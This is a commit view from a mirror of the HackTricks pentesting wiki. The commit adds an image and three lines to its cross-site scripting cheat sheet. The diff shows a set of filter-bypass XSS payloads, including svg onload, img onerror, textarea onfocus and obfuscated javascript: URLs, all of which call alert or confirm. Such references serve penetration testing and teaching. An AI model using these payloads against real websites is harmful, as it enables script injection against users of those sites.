0x22bb
/
hacktricks
mirror of https://github.com/carlospolop/hacktricks.git
1
2
Fork 0
Code Releases Activity

GitBook: [master] one page and one asset modified

This commit is contained in:
CPol 2021-06-02 16:32:07 +00:00 committed by gitbook-bot
parent c8d5002d7c
commit 6cd6d2715f
No known key found for this signature in database
GPG Key ID: 07D2180C7B12D0FF
2 changed files with 5 additions and 0 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

BIN
.gitbook/assets/image (481).png Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 604 KiB

5
pentesting-web/xss-cross-site-scripting/README.md
View File

@ -152,6 +152,8 @@ onerro=alert`1`
<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //
```
![](../../.gitbook/assets/image%20%28481%29.png)
### Length bypass \(XSS in 20chars\)
Taken from the blog of [Jorge Lajara](https://jlajara.gitlab.io/posts/2019/11/30/XSS_20_characters.html).
@ -546,6 +548,9 @@ A XSS occurs.
<script x> alert(1) </script 1=2
<script x>alert('XSS')<script y>
<svg/onload=location=`javas`+`cript:ale`+`rt%2`+`81%2`+`9`;//
<svg////////onload=alert(1)>
<svg id=x;onload=alert(1)>
<svg id=`x`onload=alert(1)>
<img src=1 alt=al lang=ert onerror=top[alt+lang](0)>
<script>$=1,alert($)</script>
<script ~~~>confirm(1)</script ~~~>